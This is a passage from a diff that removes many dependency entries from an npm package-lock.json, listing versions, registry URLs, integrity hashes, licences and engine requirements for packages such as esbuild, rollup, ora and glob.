"sha512-PsezH1rqdV9VvyNhxxOW32/d75r01NY7TQCmOqomRo15ZSOKbpTFVsfjghxo6JloQUCGnH4k1LGu0R4yCLlWQQ==", - "license": "MIT" - }, - "node_modules/check-error": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/check-error/-/check-error-2.1.3.tgz", - "integrity": "sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 16" - } - }, - "node_modules/cli-cursor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", - "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", - "license": "MIT", - "dependencies": { - "restore-cursor": "^3.1.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cli-spinners": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", - "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/cli-width": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", - "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", - "license": "ISC", - "engines": { - "node": ">= 12" - } - }, - "node_modules/clone": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", - "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "license": "MIT" - }, - "node_modules/commander": { - "version": "14.0.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", - "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/deep-eql": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-5.0.2.tgz", - "integrity": "sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/defaults": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", - "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", - "license": "MIT", - "dependencies": { - "clone": "^1.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/es-module-lexer": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", - "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==", - "dev": true, - "license": "MIT" - }, - "node_modules/esbuild": { - "version": "0.27.4", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.4.tgz", - "integrity": "sha512-Rq4vbHnYkK5fws5NF7MYTU68FPRE1ajX7heQ/8QXXWqNgqqJ/GkmmyxIzUnf2Sr/bakf8l54716CcMGHYhMrrQ==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.27.4", - "@esbuild/android-arm": "0.27.4", - "@esbuild/android-arm64": "0.27.4", - "@esbuild/android-x64": "0.27.4", - "@esbuild/darwin-arm64": "0.27.4", - "@esbuild/darwin-x64": "0.27.4", - "@esbuild/freebsd-arm64": "0.27.4", - "@esbuild/freebsd-x64": "0.27.4", - "@esbuild/linux-arm": "0.27.4", - "@esbuild/linux-arm64": "0.27.4", - "@esbuild/linux-ia32": "0.27.4", - "@esbuild/linux-loong64": "0.27.4", - "@esbuild/linux-mips64el": "0.27.4", - "@esbuild/linux-ppc64": "0.27.4", - "@esbuild/linux-riscv64": "0.27.4", - "@esbuild/linux-s390x": "0.27.4", - "@esbuild/linux-x64": "0.27.4", - "@esbuild/netbsd-arm64": "0.27.4", - "@esbuild/netbsd-x64": "0.27.4", - "@esbuild/openbsd-arm64": "0.27.4", - "@esbuild/openbsd-x64": "0.27.4", - "@esbuild/openharmony-arm64": "0.27.4", - "@esbuild/sunos-x64": "0.27.4", - "@esbuild/win32-arm64": "0.27.4", - "@esbuild/win32-ia32": "0.27.4", - "@esbuild/win32-x64": "0.27.4" - } - }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "license": "BSD-2-Clause", - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/expect-type": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", - "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", - "license": "MIT", - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fast-string-truncated-width": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/fast-string-truncated-width/-/fast-string-truncated-width-3.0.3.tgz", - "integrity": "sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g==", - "license": "MIT" - }, - "node_modules/fast-string-width": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/fast-string-width/-/fast-string-width-3.0.2.tgz", - "integrity": "sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==", - "license": "MIT", - "dependencies": { - "fast-string-truncated-width": "^3.0.2" - } - }, - "node_modules/fast-wrap-ansi": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/fast-wrap-ansi/-/fast-wrap-ansi-0.2.0.tgz", - "integrity": "sha512-rLV8JHxTyhVmFYhBJuMujcrHqOT2cnO5Zxj37qROj23CP39GXubJRBUFF0z8KFK77Uc0SukZUf7JZhsVEQ6n8w==", - "license": "MIT", - "dependencies": { - "fast-string-width": "^3.0.2" - } - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/glob": { - "version": "13.0.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz", - "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==", - "license": "BlueOak-1.0.0", - "dependencies": { - "minimatch": "^10.2.2", - "minipass": "^7.1.3", - "path-scurry": "^2.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/gray-matter": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-4.0.3.tgz", - "integrity": "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==", - "license": "MIT", - "dependencies": { - "js-yaml": "^3.13.1", - "kind-of": "^6.0.2", - "section-matter": "^1.0.0", - "strip-bom-string": "^1.0.0" - }, - "engines": { - "node": ">=6.0" - } - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/iconv-lite": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", - "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/ieee754": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "license": "ISC" - }, - "node_modules/is-extendable": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-interactive": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", - "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/js-tokens": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-9.0.1.tgz", - "integrity": "sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "3.14.2", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", - "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==", - "license": "MIT", - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", - "license": "MIT", - "dependencies": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/loupe": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/loupe/-/loupe-3.2.1.tgz", - "integrity": "sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/lru-cache": { - "version": "11.2.7", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.7.tgz", - "integrity": "sha512-aY/R+aEsRelme17KGQa/1ZSIpLpNYYrhcrepKTZgE+W3WM16YMCaPwOHLHsmopZHELU0Ojin1lPVxKR0MihncA==", - "license": "BlueOak-1.0.0", - "engines": { - "node": "20 || >=22" - } - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/mimic-fn": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", - "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/minimatch": { - "version": "10.2.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.4.tgz", - "integrity": "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/minipass": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", - "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/mute-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-3.0.0.tgz", - "integrity": "sha512-dkEJPVvun4FryqBmZ5KhDo0K9iDXAwn08tMLDinNdRBNPcYEDiWYysLcc6k3mjTMlbP9KyylvRpd4wFtwrT9rw==", - "license": "ISC", - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/onetime": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", - "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", - "license": "MIT", - "dependencies": { - "mimic-fn": "^2.1.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/ora": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", - "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", - "license": "MIT", - "dependencies": { - "bl": "^4.1.0", - "chalk": "^4.1.0", - "cli-cursor": "^3.1.0", - "cli-spinners": "^2.5.0", - "is-interactive": "^1.0.0", - "is-unicode-supported": "^0.1.0", - "log-symbols": "^4.1.0", - "strip-ansi": "^6.0.0", - "wcwidth": "^1.0.1" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/path-scurry": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", - "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "lru-cache": "^11.0.0", - "minipass": "^7.1.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/pathval": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pathval/-/pathval-2.0.1.tgz", - "integrity": "sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 14.16" - } - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "dev": true, - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/postcss": { - "version": "8.5.8", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.8.tgz", - "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/readable-stream": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", - "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", - "license": "MIT", - "dependencies": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/restore-cursor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", - "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", - "license": "MIT", - "dependencies": { - "onetime": "^5.1.0", - "signal-exit": "^3.0.2" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/restore-cursor/node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "license": "ISC" - }, - "node_modules/rollup": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.1.tgz", - "integrity": "sha512-iZKH8BeoCwTCBTZBZWQQMreekd4mdomwdjIQ40GC1oZm6o+8PnNMIxFOiCsGMWeS8iDJ7KZcl7KwmKk/0HOQpA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.59.1", - "@rollup/rollup-android-arm64": "4.59.1", - "@rollup/rollup-darwin-arm64": "4.59.1", - "@rollup/rollup-darwin-x64": "4.59.1", - "@rollup/rollup-freebsd-arm64": "4.59.1", - "@rollup/rollup-freebsd-x64": "4.59.1", - "@rollup/rollup-linux-arm-gnueabihf": "4.59.1", - "@rollup/rollup-linux-arm-musleabihf": "4.59.1", - "@rollup/rollup-linux-arm64-gnu": "4.59.1", - "@rollup/rollup-linux-arm64-musl": "4.59.1", - "@rollup/rollup-linux-loong64-gnu": "4.59.1", - "@rollup/rollup-linux-loong64-musl": "4.59.1", - "@rollup/rollup-linux-ppc64-gnu": "4.59.1", - "@rollup/rollup-linux-ppc64-musl": "4.59.1", - "@rollup/rollup-linux-riscv64-gnu": "4.59.1", - "@rollup/rollup-linux-riscv64-musl": "4.59.1", - "@rollup/rollup-linux-s390x-gnu": "4.59.1", - "@rollup/rollup-linux-x64-gnu": "4.59.1", - "@rollup/rollup-linux-x64-musl": "4.59.1", - "@rollup/rollup-openbsd-x64": "4.59.1", - "@rollup/rollup-openharmony-arm64": "4.59.1", - "@rollup/rollup-win32-arm64-msvc": "4.59.1", - "@rollup/rollup-win32-ia32-msvc": "4.59.1", - "@rollup/rollup-win32-x64-gnu": "4.59.1", - "@rollup/rollup-win32-x64-msvc": "4.59.1", - "fsevents": "~2.3.2" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "license": "MIT" - }, - "node_modules/section-matter": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/section-matter/-/section-matter-1.0.0.tgz", - "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==", - "license": "MIT", - "dependencies": { - "extend-shallow": "^2.0.1", - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/siginfo": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", - "dev": true, - "license": "ISC" - }, - "node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - 